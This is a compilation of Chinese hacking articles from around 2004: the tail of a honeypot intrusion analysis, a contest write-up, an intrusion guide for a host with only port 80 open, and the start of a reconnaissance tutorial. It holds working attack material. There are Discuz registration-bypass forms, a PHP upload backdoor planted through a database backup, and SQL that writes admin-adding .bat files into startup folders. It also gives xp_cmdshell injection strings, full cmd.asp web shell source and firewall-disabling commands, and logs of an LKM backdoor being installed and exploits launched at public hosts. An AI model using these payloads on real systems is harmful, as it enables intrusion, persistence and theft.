下面开始安装sunxkdoor 这个LKM 的后门，这需要root权限，他再次运行su
的越权程序获得rootshell，然后用insmod加载sunxkdoor，便退出了系统利用
这个后门绕开登录过程进来了。
此后门应该是截获了原有/bin/login 的调用，先是telnet 到系统，在login:提示
符后输入sunxkdoor 这个关键串，系统自动断开连接；接着再telnet，就直接
获得root的#号提示符。
注意，他把下载的三个后门程序都移到tom主目录下新建的TOM目录中了。
2004-9-23 14:08 -bash: HISTORY: PID=5569 UID=500 ./su
2004-9-23 14:10 sh: HISTORY: PID=8570 UID=0 pwd
2004-9-23 14:10 sh: HISTORY: PID=8570 UID=0 cd ~tom
2004-9-23 14:10 sh: HISTORY: PID=8570 UID=0 ls
2004-9-23 14:10 sh: HISTORY: PID=8570 UID=0 tar xfv 2.tar
2004-9-23 14:10 sh: HISTORY: PID=8570 UID=0 export HISTFILE=/dev/null
2004-9-23 14:12 sh: HISTORY: PID=8570 UID=0 cd sunxkdoor
2004-9-23 14:12 sh: HISTORY: PID=8570 UID=0 ls
2004-9-23 14:13 sh: HISTORY: PID=8570 UID=0 gcc -O2 -c sunxknlsh_linux_II.c
2004-9-23 14:13 sh: HISTORY: PID=8570 UID=0 ls
2004-9-23 14:14 sh: HISTORY: PID=8570 UID=0 mv sunxknlsh_linux_II.o ../sun.o
2004-9-23 14:14 sh: HISTORY: PID=8570 UID=0 cd ..
2004-9-23 14:14 sh: HISTORY: PID=8570 UID=0 ls
2004-9-23 14:14 sh: HISTORY: PID=8570 UID=0 w
2004-9-23 14:14 sh: HISTORY: PID=8570 UID=0 rm -rf sunxkdoor
2004-9-23 14:15 sh: HISTORY: PID=8570 UID=0 ls
Sinbad Technical Publications Page 9
2004-9-23 14:15 sh: HISTORY: PID=8570 UID=0 mkdir TOM
2004-9-23 14:15 sh: HISTORY: PID=8570 UID=0 mv * TOM
2004-9-23 14:15 sh: HISTORY: PID=8570 UID=0 ls
2004-9-23 14:15 sh: HISTORY: PID=8570 UID=0 cd TOM
2004-9-23 14:15 sh: HISTORY: PID=8570 UID=0 ls
2004-9-23 14:16 sh: HISTORY: PID=8570 UID=0 insmod
2004-9-23 14:16 sh: HISTORY: PID=8570 UID=0 whereis insmod
2004-9-23 14:17 sh: HISTORY: PID=8570 UID=0 /sbin/insmod sun.o
2004-9-23 14:17 sh: HISTORY: PID=8570 UID=0 /sbin/lsmod
2004-9-23 14:17 sh: HISTORY: PID=8570 UID=0 exit
2004-9-23 14:17 -bash: HISTORY: PID=5569 UID=500 exit
2004-9-23 14:17 PAM_pwdb[5568]: (login) session closed for user tom
#'!
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i686
login: ssuunnxkxkddooroor
#'!
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i686
[root@abc /]# ccd d ~~ttomom
[root@abc tom]# llss
TOM
下面开始安装adore，编译的时候缺少一个头文件，我的朋友还是能够从Linux
源代码的目录中找到并拷贝到adore目录中，把adore 编译出来了。启动adore
后，利用工具ava隐藏TOM 目录时，尽管提示hidden，但ls的时候还是能看
到。我的朋友很郁闷，可能是adore 和sunxkdoor这两个LKM 之间有冲突。
2004-9-23 14:23 login: HISTORY: PID=8620 UID=0 cd TOM
2004-9-23 14:23 login: HISTORY: PID=8260 UID=0 tar zxfv 1.tgz
2004-9-23 14:23 login: HISTORY: PID=8260 UID=0 cd adore
2004-9-23 14:23 login: HISTORY: PID=8260 UID=0 ls
2004-9-23 14:23 login: HISTORY: PID=8260 UID=0 ./configure
2004-9-23 14:23 login: HISTORY: PID=8260 UID=0 make
2004-9-23 14:23 login: HISTORY: PID=8620 UID=0 find / -name spinlock.h
2004-9-23 14:24 login: HISTORY: PID=8620 UID=0 cp /usr/src/linux-2.2.14/include/asm-i386/spinlock.h .
2004-9-23 14:24 login: HISTORY: PID=8620 UID=0 make
2004-9-23 14:24 login: HISTORY: PID=8620 UID=0 ls
2004-9-23 14:25 login: HISTORY: PID=8620 UID=0 mv *.o ../
2004-9-23 14:25 login: HISTORY: PID=8620 UID=0 ls
Sinbad Technical Publications Page 10
2004-9-23 14:25 login: HISTORY: PID=8620 UID=0 mv ava ../
2004-9-23 14:26 login: HISTORY: PID=8620 UID=0 mv startadore ../
2004-9-23 14:26 login: HISTORY: PID=8620 UID=0 ls
2004-9-23 14:26 login: HISTORY: PID=8620 UID=0 cd ..
2004-9-23 14:26 login: HISTORY: PID=8620 UID=0 ls
2004-9-23 14:26 login: HISTORY: PID=8620 UID=0 rm -rf adore
2004-9-23 14:26 login: HISTORY: PID=8620 UID=0 vi startadore
2004-9-23 14:29 login: HISTORY: PID=8620 UID=0 ls
2004-9-23 14:29 login: HISTORY: PID=8620 UID=0 insmod
2004-9-23 14:29 login: HISTORY: PID=8620 UID=0 ./startadore
2004-9-23 14:30 login: HISTORY: PID=8620 UID=0 mv startadore start
2004-9-23 14:30 login: HISTORY: PID=8620 UID=0 ./ava
2004-9-23 14:30 login: HISTORY: PID=8620 UID=0 ./ava h ..TOM
2004-9-23 14:30 login: HISTORY: PID=8620 UID=0 ./ava h ../TOM
2004-9-23 14:30 login: HISTORY: PID=8620 UID=0 cd ..
2004-9-23 14:30 login: HISTORY: PID=8620 UID=0 ls
7.作为跳板攻击他人
用adore 没有成功的隐藏目录，我的朋友突然想起来自己曾经下载过一个
telnetd 的远程溢出脚本，于是编译保存为1，就开始了试验，先是攻击本机，
后来又改攻公网上的其他机器。理论上讲，honeypot应该限制往外发起的连接，
比如同一时间内的连接数，以防止被人安装了分布式拒绝服务程序，用来攻击
其他机器，引起不必要的麻烦。我的honeypot并没有做这方面的限制，因为我
每天都花时间来观看她里面发生的故事，做到了如指掌J
2004-9-23 14:50 login: HISTORY: PID=8699 UID=0 ./1 -h 127.0.0.1
2004-9-23 14:50 in.telnetd[8774]: connect from 127.0.0.1
2004-9-23 14:50 telnetd[8774]: ttloop: peer died: EOF
2004-9-23 14:56 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.230 -t 5
2004-9-23 14:58 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.230
2004-9-23 14:59 inetd[8783]: 2222/tcp: bind: Address already in use
2004-9-23 14:59 inetd[8783]: extra conf for service 2222/tcp (skipped)
2004-9-23 15:10 inetd[8783]: 2222/tcp: bind: Address already in use
2004-9-23 15:10 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.96 -t 5
2004-9-23 15:10 inetd[8793]: 2222/tcp: bind: Address already in use
2004-9-23 15:10 inetd[8793]: extra conf for service 2222/tcp (skipped)
2004-9-23 15:11 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.106 -t 5
2004-9-23 15:11 inetd[8793]: extra conf for service 2222/tcp (skipped)
2004-9-23 15:12 inetd[8796]: extra conf for service 2222/tcp (skipped)
Sinbad Technical Publications Page 11
2004-9-23 15:12 inetd[8796]: 2222/tcp: bind: Address already in use
2004-9-23 15:14 last message repeated 2 times
2004-9-23 15:14 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.186 -t 3
2004-9-23 15:15 inetd[8799]: 2222/tcp: bind: Address already in use
2004-9-23 15:15 inetd[8799]: extra conf for service 2222/tcp (skipped)
2004-9-23 15:15 snort[1852]: [1:648:5] SHELLCODE x86 NOOP [Classification: Executable
code was detected] [Priority: 1]: {TCP} 211.xxx.xxx.186:23 -> 10.0.0.1:1053
2004-9-23 15:17 last message repeated 3 times
2004-9-23 15:17 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.25 -t 4
2004-9-23 15:17 inetd[8804]: extra conf for service 2222/tcp (skipped)
2004-9-23 15:17 inetd[8804]: 2222/tcp: bind: Address already in use
2004-9-23 15:18 last message repeated 4 times
2004-9-23 15:18 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.16 -t 5
2004-9-23 15:19 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.16 -t 5
2004-9-23 15:19 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.15 -t 5
2004-9-23 15:20 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.226 -t 4
在这里我没有太多关注这个溢出脚本的执行结果，只是注意到系统产生了大量
的同一条日志，都发生在./1 命令执行之后：
2004-9-23 15:20 inetd[8810]: 2222/tcp: bind: Address already in use
经过检查，原来是在tcp/2222 端口打开了一个root 权限的shell！看来这个溢
出程序的功能蛮多的，还给自己的机器绑定shell:P
接着，我登录MSN 联系到那位朋友，他说打算结束表演了，于是我开始kill
掉这该死的telnetd 溢出程序，修复伤痕累累的honeypot 让她重新上线。同时
备份入侵日志文件，抓住他的把柄以备将来敲诈。:)
8.总结
本文介绍了引诱入侵者的一种方法，以及对一个朋友的不请自到所作操作的详
细分析。包括借助跳板隐藏真实IP、三次尝试本地越权最后成功、安装了两个
LKM 类的后门、以及作为跳板攻击他人机器。这是一个典型的入侵工作者的
作业流程，我们通过分析这些行为的细节，可以学习认识到更多的后门程序、
溢出脚本、故障排除方法，甚至个人习惯等一些有趣的东西。


[转载]四川成都攻防大赛技术细节与个人评论

本文作者：angel
文章性质：原创
    估计大家都知道这次成都的“天地杯”网络安全攻防大赛的消息了，既然和网络安全有关，估计不少朋友都想知道其中的技术细节，我就说说其中技术细节。至于和我一起参加比赛的人，都是圈内比较出名的人物，机会、优势几乎都在我们这边了，其他我就暂时不说了。圈内也有不少人知道是我们几个参加了，所以我觉得写出来也无所谓。先说说技术的，完了再说说我个人的看法。
首先说说这次的攻击环境：
Web 服务器（ 172.16.0.125 ）
系统： Windows Server 2003 / Apache 1.3.31
打开端口：80、3389
Web 程序：Discuz 2.2F
MySQL 服务器（ 172.16.0.119 ）
系统： Windows Server 2003 / Mysql 4.0.21
打开端口： 3306、3389
注意：比赛规定是不允许上外网，所有工具都是自己带的。且刚开始数据库服务器 IP 是未知的，我们的目标是拿到数据库上 D 盘的相应文件。
    尽管我们几个人讨论了几个方案和分工，但是由于实际情况，我们还是做了一些改变，我几乎是全权负责攻击，其他人负责干扰对手、嗅探、搭建各种服务共我们交流、交换工具，由于不准上外网，我们下载了 QQ 企业版交流，在其中一个人的服务器上搭建了 WEB 服务器，提供我们自己带来一些工具，于是我们为了进攻的进度得以保障，我们每个人都修改了默认管理密码，禁用其他所有系统用户，停掉 N 多默认的服务，禁止空连接，做了本地安全策略，修改了 IP 地址的 C 段使我们和其他人不在同一个网段，配置好了，也差不多开始了。
    经过了安全专家的精心配置，所以我想直接从系统入手可能性还是比较小，尽管如此，还是分配了两个人用扫描器对 Web 服务器进行扫描并生成报告，另外的人嗅探抓到了不少系统的密码等敏感信息，我就不说其他人了，由于我负责全部的攻击，我还是把过程写出来。
    我知道 Discuz 2.2F 有两个致命漏洞，但是官方也发布了更新版本，不知道这里存在不，不管怎么说，获得 webshell 是最基本的，不然一切都不可能，恰好 Discuz 2.2F 给我们提供了条件，访问 http://172.16.0.125/forumdata/illegallog.php ，返回“ Access Denied ”，漏洞不存在，换一个，这个 2.2F 的早期版本可以注册相同的 ID ，不过对于繁体的论坛的中文名注册会变乱码，我只测试了英文名的，不管，先写一个表单：
<FORM action="http://172.16.0.125/register.php?emailadd=and uid=100000&doublee=1" method="post" target="_blank">
用户名 :<INPUT name=username value="admin"><br>
密码：<INPUT name=password type=text value="123456"><br>
确认密码：<INPUT name=password2 type=text value="123456"><br>
E-mail ：<INPUT name=email value="4ngel@21cn.com"><br>
<INPUT type=submit value= 注册 name=regsubmit>
</FORM>

    这个漏洞不是我发现的，但是我自己分析过，在我们的内部论坛有我的分析报告，现在公布出来。先说说这个漏洞的利用和存在的理由。
    register.php 的代码中有如下代码：
$email = trim($email);
if(!$doublee
        && strstr($email,  '@' )) {
$emailadd =
        "OR email='$email'";
}

    这里是说如果不存在 $doublee 这个变量，并且判断邮件地址格式正确，就指定 $emailadd 这个变量为 "OR email='$email'" ，为后面的 SQL 语句做准备。往下有一段代码如下：
$query = $db->query("SELECT COUNT(*) FROM
        $table_members WHERE username='$username' $emailadd ");
if($db->result($query, 0))
        {
showmessage('profile_account_duplicate');
}

    默认 $emailadd = "OR email='$email'" 是满足的，所以上面的 SQL 语句就变成判断用户名和邮箱，有任意一个相同，就提示“该用户名或 Email 地址已经被注册了，请返回重新填写。”
    利用的方法是给 $doublee 赋值，然后就可以饶过 $emailadd = "OR email='$email'" 这句，然后再自己构造 $emailadd 这个变量，这个就是我在本地表单的 action 构造的原因。
<FORM action=" http://172.16.0.125/register.php ? emailadd=and uid=100000&doublee=1" method="post">

    然后这个语句到了上面的 SQL 语句那里，就变成：
SELECT COUNT(*) FROM $table_members WHERE username='$username' and uid=100000

    既然是同时用用户名和用户 ID 判断，那么这个肯定是不成立的了，就可以顺利跳过
if($db->result($query, 0)) {
    showmessage('profile_account_duplicate');
}

    直接到达这里插入记录：
$db->query("INSERT INTO $table_members (........) VALUES (........)");

    也就注册了相同的用户名。然后再看看 memcp.php ，看到更新用户资料的那里， SQL 语句居然是这样。
UPDATE $table_members SET ...... WHERE username='$discuz_user'

    直接更新所有用户名为 XX 的资料。呵呵，就达到了修改管理员的密码的目的。呵呵， DZ 论坛没有用 id 来判断更新是不严谨的。没有考虑到唯一性……
    我顺利提升了自己论坛用户的权限，能进入后台以后，我们可以做的事情就多了，插入记录，导出文件，就可以写文件在硬盘了，由于不知道 Web 目录路径，所以不能用 select….into outfile 导出文件，而且此时数据库与 WEB 服务器是分开的，即使导文件也是导出在 MYSQL 服务器上。不过还是有办法，我马上在“数据库升级那里”执行：
INSERT INTO `cdb_forumlinks` (`id`, `displayorder`, `name`, `url`, `note`, `logo`)
VALUES ('', '0', '', '', '<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>', '');

    黑体部分是我写的后门代码，然后选择数据库备份最小备份，把扩展名改成 .php ，备份后我们就可以上传文件到 forumdata 目录了，可能有不少新手会问，我怎么这么了解？因为我以前用过 Discuz 论坛，研究过这个论坛，所以对这个论坛还是十分熟悉的，如果有谁不懂可以直接搭建环境来测试。
    然后本地再写一个表单用于上传文件：
<form ENCTYPE="multipart/form-data"
        ACTION="http://172.16.0.125/forumdata/upfile.php"
        METHOD="POST">
<input NAME="MyFile"
        TYPE="file">
<input VALUE=" 提交 "
        TYPE="submit">
</form>

    我们上传了一个 phpspy 上去，上去后，我要做的事就只有一件，就是把 register.php 文件的漏洞给补上，直接把
$email = trim($email);
if(!$doublee
        && strstr($email,  '@' )) {
$emailadd =
        "OR email='$email'";
}

    改为：
$emailadd = "OR email='$email'";

    断绝其他对手的后路，我们再多传几个 phpspy ，让我们的队员慢慢玩，查看 config.php 文件，看到了 MySQL 服务器地址（ 172.16.0.119 ）和 root 用户的密码，原来密码是 fuck_Mysql ，用这个密码试了试 MySQL 服务器的管理员，失败。还有 phpmyadmin 的地址，原来是 php32 目录。查看了一下 php 配置，配置还不错，挺仔细的，可惜我的 phpspy 还是可以利用 webshell 功能成功的添加了系统帐号并提升到管理员权限，成功登陆 3389 ，注意，由于 Windows Server 2003 的安全机制，不是 Administrators 组的用户是不能登陆 3389 的，查看了一些基本的配置后，看到 EffeTech HTTP Sniffer ，原来剑客一直在注意我呢，哈哈，在桌面留个文件和他打个招呼，表示一下晚辈对前辈的尊重。
    然后继续查看，这个 Web 服务器的机器名是 SQL!!?? 郁闷，难道 MySQL 服务器是 WEB ？大胆这样猜想，结果没错。以前不记得哪个鸟人说过 MySQL 功能连 ACCESS 都比不了，这次的功劳最大就是 MySQL 了，不然真的不能拿到我们的文件了。即使能用同样的办法传东西到 119 服务器，也没有办法执行，我们只有采用被动式的攻击方法，写文件到管理员的启动组，因为以前我们试过，只能写一行进去，所以如果我们添加用户并提升权限要启动两次，仅仅重新启动还不行，还要管理员登陆才行。
    也只有这条路了，说做就做，还是在论坛后台的数据库升级那里执行，其实在 phpmyadmin 或者 phpspy 都可以执行 SQL 语句，我懒得开其他两个了。
CREATE TABLE shell ( shell TEXT NOT NULL );# 建立 shell 表和一个文本型的 shell 字段
INSERT INTO shell ( shell ) VALUES ('net user small_a 4ngel /add
');# 注意 /add 后面有回车，但是却不能继续再加一行，加了会连在一起。既然能回车却不能加新行，奇怪。哪位大哥可以解释一下？
SELECT * FROM shell into outfile 'C:\\Documents and Settings\\Administrator\\ 「开始」菜单 \\程序\\启动 \\add.bat' ;# 记得给“ \ ”转义
SELECT * FROM shell into outfile 'C:\\Documents and Settings\\All Users\\ 「开始」菜单 \\程序\\启动 \\add.bat' ;# 多添加几个地方。
SELECT * FROM shell into outfile 'C:\\Documents and Settings\\Administrator.WEB\\ 「开始」菜单 \\程序\\启动 \\add.bat' ;# 真的存在这个目录，说明之前我们没有猜错这个机器的名字就是 WEB ，真是够精的，把机器名和相应的服务器互换。

    然后我就修改论坛的 config.php 文件的 IP 地址，就对管理员说，论坛的数据库连接不上了，你给重新启动一下，很快，我们用 3389 登陆的时候，就发现提示不允许交互，看来用户是添加了的。只是由于权限不够，不能登陆。再来一次，清空 shell 数据表以后，再执行：
INSERT INTO shell ( shell ) VALUES ('net localgrorp administrators small_a /add
');
SELECT * FROM shell into outfile 'C:\\Documents and Settings\\Administrator\\ 「开始」菜单 \\程序\\启动 \\up.bat' ;
SELECT * FROM shell into outfile 'C:\\Documents and Settings\\All Users\\ 「开始」菜单 \\程序\\启动 \\up.bat' ;
SELECT * FROM shell into outfile 'C:\\Documents and Settings\\Administrator.WEB\\ 「开始」菜单 \\程序\\启动 \\up.bat' ;

    再用老办法叫管理员重新启动，结果剑客发觉了我们的企图，叫管理员重新登陆后不要登陆，我靠，我们也不是吃素的对吧？说论坛不能访问叫我们怎么搞啊？哈哈，服务器管理员还是老老实实登陆，等啊等啊，我们终于可以用我们自己添加的用户登陆了，看到了 D 盘下面的三个冠、亚、季军的文件，我们一起拿下吧。刚准备拿，结果 119 服务器的 3389 被我们的对手 D 了，而且还伪造 IP ，这是我们小组的其他队员截获的数据显示的。他们并不是也拿下了 WEB 服务器，而是他们有人跑过来偷看我们的屏幕得知的地址，强烈鄙视这种行为， D 吧 D 吧，不就是 D3389 端口嘛，反正我知道了文件名，现在胜利也离我们不远了。就在快 1 个小时也就是快 11 点的时候，我从容地打开 phpmyadmin ，在 SQL 里执行：
SELECT load_file('d:/金牌专家.txt')# 晕！这个居然显示空！权限不够，继续。
SELECT load_file('d:/银牌专家.txt')# 显示“祝贺，你已经是银牌专家了！”
SELECT load_file('d:/铜牌专家.txt')# 显示“不错不错，你已经是铜牌专家了！”

    就这样，其实在 11 点以前我们就拿到了亚军和季军，但是由于对手无耻的偷看行为，导致我们被迫断下 119 服务器的终端。他们一直D ，强烈鄙视这种偷窥行为。剑客也修改了 MYSQL 服务器的 IP ，但没有修正论坛的 IP 信息，我还是无法知道地址，趁吃饭的时候，其中一个队员就用自己写的端口扫描器扫描整个 C 段开了 3306 的主机，结果找到一台，目标就是他，由于之前服务器的 3389 被 D 挂了，我们都是第一次碰到这种情况，主机没挂，服务挂了。结果一直等到 1 点多，剑客才重新启动。我们才顺利的修改了“d:/金牌专家.txt ”这个文件的权限，看到了文件的内容，就顺利拿到了 3 个文件。
    整个过程也就完了，技术含量不算高。我觉得重要的是思路和系统的一些常识，特别是 Windows server 2003 和 Apache 这种奇怪的搭配……
个人评论
    首先对某些媒体的报道，我觉得有必要澄清一下，四川的《华西都市报》（原文各大新闻网有转载）报道有人控制了网吧内的 100 台电脑，完全是炒作，真相是那人用“网络执法官”那类工具进行 ARP 欺骗，导致外边的大量电脑无法上网，人家在打怪升级呢，怎么能不暴动？
    其次还是这篇报道说的“比赛于 10:00 开始，到什么时候结束，谁也不知道，因为今天前来参赛的全是高手，若双方“武功”都到了炉火纯青的地步，往往对战数日，仍是难分高下。”完全属于炒作！
    比赛当天根本就没有什么高手，还有人用流光、自动攻击机、冰河这种老古董来玩，实在没办法了就登陆 3389 手工试空口令，本来收到消息 cnhonker 的人会来，谁知道影子都不见一个，据我们掌握的资料，cnhonker 在四川根本没有核心成员。让我们失望而终。
    最令我们气愤的是还是这篇报道，说“西南民族大学的马某在比赛结束后告诉记者，他和队友在昨日凌晨 3 点才休息，而且专门为此次比赛而攻击了一家类似于此次比赛服务器的网站，而且成功得手，没有想到，在比赛中却“ 铩羽而归 ”，他坦言，对方 6 名成员分工详细，占了不少便宜，但是最终失利的原因则在于他们准备不充分，而且比赛的时候动作慢了一拍。”
    完完全全吹牛、放屁！这个学校居然出这种人品败坏的学生，现在 WEB 服务器和数据库服务器分开的主机很多，但是和 mysql 分开的却很少，而且由于 MYSQL 和 MSSQL 的差异也导致攻击方法不同，如果真如报道所说，成功攻击了类似于此次服务器的网站，试问该学生如何知道此次比赛的网络环境？？
    更可耻的是居然说比我们慢半拍！我们从开始到结束，一直有人在终端上观察，除了我们，没有任何人登陆这两台服务器的 3389，也没有添加任何系统用户和上传任何文件，根本就是除了我们队员 6 人，其他选手都被服务器完全拒之门外，毫无进展，何来慢半拍？技术不行就是不行，还好意思心口开河？自己学校的网站服务器被放了后门都不知道。我们全体小组成员强烈鄙视这种厚颜无耻的参赛选手！也希望以后再有类似比赛，希望该报社派稍微懂电脑的记者前往。
    还有些人说由于带错工具，所以失败了，我想说：工具只是武器，技术才是灵魂。技术和工具是没有直接关系的。
    此次比赛后，有不少人称我们为“第四代黑客”，我认为也是不合适的，电子科技大学信息安全所所长范明钰教授说：“今天参加比赛的黑客被称为‘第四代黑客'，因为他们所用的工具大多数都是在前几代黑客的研究基础上设计的。当然，也有不少人‘内功'深厚，可以自己编写攻击工具的基础程序，但并没有在此次比赛中过多使用。”
    我想说的是：此次比赛，我们比赛过程中用到的 phpspy 是我本人独立开发的，端口扫描器也是其中一个队员自己写出来的，我们的工具都是自己写的，怎么说是用前几代黑客的呢？说我们是第四代黑客更是不敢当！参加这次比赛是挺郁闷的啊。
相关报道
http://www.cdsb.com/GB/2004/11/1/276312.html
http://it.sohu.com/20041101/n222780207.shtml
http://www.cnhubei.com/200410/ca598232.htm
http://www.jiangmin.com/exec/news_sys/news/jiangmin/networksafe/netsafty/200411194933.htm


只开80端口主机的入侵思路
主机配置:win2kserver(sp3)+sygate personal firewall pro
安全设置：不说啦太变态了竟然只允许80进

扫描：先用x-scan2.3扫端口晕只开80，然后又扫了一遍
唉还是一样的结果，看来管理员也不算笨啊!
检查系统洞洞:先ping了一下竟然ping不通,不过有刚才的扫描结果就很明
白了应是iis5再加上网页上明显用的asp这样的主机当然是win2k不用
说咯.
分析:唉也没什么可以分析咯只能从80入手,看看上面都有些什么东东
有一个查询系统输入单引号试试,返回
错误类型：
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
/mingce/student1.asp, 第 30 行
看来运气也不算太坏嘛........应该有sql注入的毛病.........
为了进一步确认试试运气输http://x.x.x.x//mingce/student1.asp.BAK
的确可以正确提交哟返回如下:
if request.form("xsxm")="" and request.form("xsxh")="" then
Set Conn=Server.CreateObject("ADODB.Connection")
Conn.Open "Driver={sql server};Server=localhost;Database=xxxx;UID=sa;PWD="&application("mm_xxx")
比较长只是上面三行最重要了:我们可以看出ASP后台程序没用对用户提交进行任何的
过滤,同时数据库用的ADODB.Connection对象(如果是ADODB.Command就算没有过滤
特殊符号也不行的),当然也可以看出数据库使用的sa来连接的!
(Tip:其实就算我们看不到ASP的源代码我们也可以试试xp_cmdshell 'iisreset /reboot'
或是xp_cmdshell 'ping 你.的.I.P',如果第一个命令能执行成功那么在半分钟之内远程
系统会重启一次的，第二个命令你自已的机子的防火墙通常会提示来至x.x.x.x的主机向你
发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能也不行哟)

好了通过上面的分析我们可以做什么呢:
通过在web页以管理员的身份来执行系统命令(不过没有回显的)
如果是一般的系统主机简单了xp_cmdshell 'net user .....'我就不写了
但是我们现在环境是系统只开了80端口,就算我们能加ADMIN用户也没用三
以前通常只要开个139/445/135就可以远程管理了不过现在不行.
我的思路:
1)找到web目录的路径
2)写入一个简单的cmd.asp用来找到防火墙的具体名字
3)通过xp_cmdshell来关闭防火墙服务

具体实现:
第一步明显是最难的咯
我本来打算用adminＳcripts里面的建web站的方式建一个我自已的可执行目录的
结果不行哟.然后就想到了使用adsutil.vbs程序我是这样执行的
a';exec master..xp_cmdshell 'cmd /c cＳcript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt';--
是不是很长啦 通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt中
对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题，不过遇到管理员把adsutil.vbs删了或是放到别
的地方我们就没办法了(不可能自已用echo 命令写一个吧)
第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧
.....xp_cmdshell 'echo set fso1=createobject("Ｓcripting.filesystemobject")>c:\read.vbs';--
.....xp_cmdshell 'echo Set WshShell = WＳcript.CreateObject("WＳcript.Shell")>>c:\read.vbs';--
.....
-------------------read.vbs---------------------------------
set fso1=createobject("Ｓcripting.filesystemobject")
Set WshShell = WＳcript.CreateObject("WＳcript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa&"\dd.asp",2,true)
fil1.writeline "<%response.write request.servervariables(""APPL_PHYSICAL_PATH"")%>"
---------------cut here--------------------------------------
第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径
然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯
执行http://x.x.x.x/dd.asp
返回:d:\xxx
看来我运气就是不错的哈(其实有个问题是我们找的第一个web站点可能并不能通过x.x.x.x来仿问)
第四步:就是用echo命令生成cmd.asp,唉也不算长嘛也就20行而已
其实在有的网站上(通常是虚拟主机)cmd.asp是不能执行的,不过这台主机是独立的服务器
所以管理员就没有禁止了
--------------------------cmd.asp------------------------------
<%On Error Resume Next
Set oＳcript = Server.CreateObject(""WＳcript.SHELL"")
Set oＳcriptNet = Server.CreateObject(""WＳcript.NETWORK"")
Set oFileSys = Server.CreateObject(""Ｓcripting.FileSystemObject"")
szCMD = Request.Form("".CMD"")
If (szCMD <> """")Then
szTempFile = ""C:\" & oFileSys.GetTempName()
Call oＳcript.Run (""cmd.exe /c "" & szCMD & "" > "" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If %>
<HTML><BODY><FORM action=""<%= Request.ServerVariables(""URL"")%>"" method=""POST"">
<input type=text name="".CMD"" size=45 value=""<%= szCMD %>""><input type=submit value=""Run"">
</FORM><PRE>
<% If (IsObject(oFile))Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>
</BODY></HTML>
-----------------------cut here--------------------------------
第五步:执行cmd.asp三,这样我们可以找到系统上到底安的是什么防火墙,找啊找没多久我找到了
e:\progra~1\sygate\spf,就是它不用说了嘛sygate personal firewall pro(具体版本在cmd.asp
里执行echo readme.txt不就明白了)
第六步:关闭sygate的防火墙
a';exec master..xp_cmdshell 'net stop smcservice';--
(smcservice是sygate防火墙的服务名)
第七步:看一看成功了吗?用x-scan扫,现在就对了三53,139,135,1433......都出来了
第八步:添加系统管理员打开telnet............

唉打了半天反正就是这样了...其实我想应该还有好的办法只是我没想到吧.......
比如说用echo命令写一个ftp脚本来下载一个httptunel之类的程序然后再打开telnet
....当然你也可能想得到更简单的办法就是猜web站点的实际目录......
来源：不详


较高安全级别主机的渗透 之 序幕篇

文章作者：冰血封情[EST]
信息来源：中国邪恶八进制（http://www.eviloctal.com/）
几个月前在《黑客X档案》发的文章 为了照顾X的生意 所以现在才发出来....
现在可以下了：）
文章很简单 但是很详细 很适合刚入手 有些技术但是缺少经验的菜鸟阅读....
EST的论坛关闭了所有组成员的上传权限 所以 如果要有图的文章 请到文章最后的连接去下...
前言：这是《网络安全较高安全级别主机的渗透》系列文章中的第一篇，有空继续往下写。
对一台主机的渗透我把他划分了：序幕、渗透、尾声三个阶段。顾名思义，序幕就是入侵前的信息刺探了。
怎么样做到全面和精细，可是很有重要意义的，特别是对后面的渗透起着关键的辅助作用。
很多朋友，甚至包括有些踏入黑界有一段时间的朋友，都是以为信息刺探并不重要。想黑什么主机，抓起工具来找一个IP段一阵狂扫21SerU(北风卷地@#$%^&*) 然后发现溢出漏洞——入侵。
汗！真的让你渗透的时候有那么容易么？
我们不是渗透"漏洞"，而是渗透"主机"
成段的扫描某个漏洞，然后谁有洞进谁，等真和你有仇的人来了，你还能扫一段么？
简直是错误思想！冰血封情技术其实不怎么样，和13K、Sagi……他们没法儿比，但是经验还是有那么一点点儿的，就分享一下吧。
今天我们就用一台网络php主机为例子来说明一下网络安全中“踩点”的重要性以及怎么样踩点(小偷的说)，咱们选的主机不见得多安全，但是我只是授人与渔。其实踩点往往是最容易忽略的网络渗透的第一步。如果第一步走好，将会为后面的安全检测或者是入侵渗透提供良好的理论指引。
在很多人眼里unix+php是比较安全的。那么我们怎么样为了进入一台php机而搜集前期信息呢？正好最近有一个设计站点得罪了偶妹妹萌萌，那不客气了。正好用它做例子给大家讲讲。话不多说，开始。
透目标(化名)：
http://www.target.com/
一、 信息搜集过程：
1、 知道地址
ping http://www.target.com/
Pinging http://www.target.com/ [***.***.***.***] with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for ***.***.***.***:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Request timed out.告诉我们什么了呢
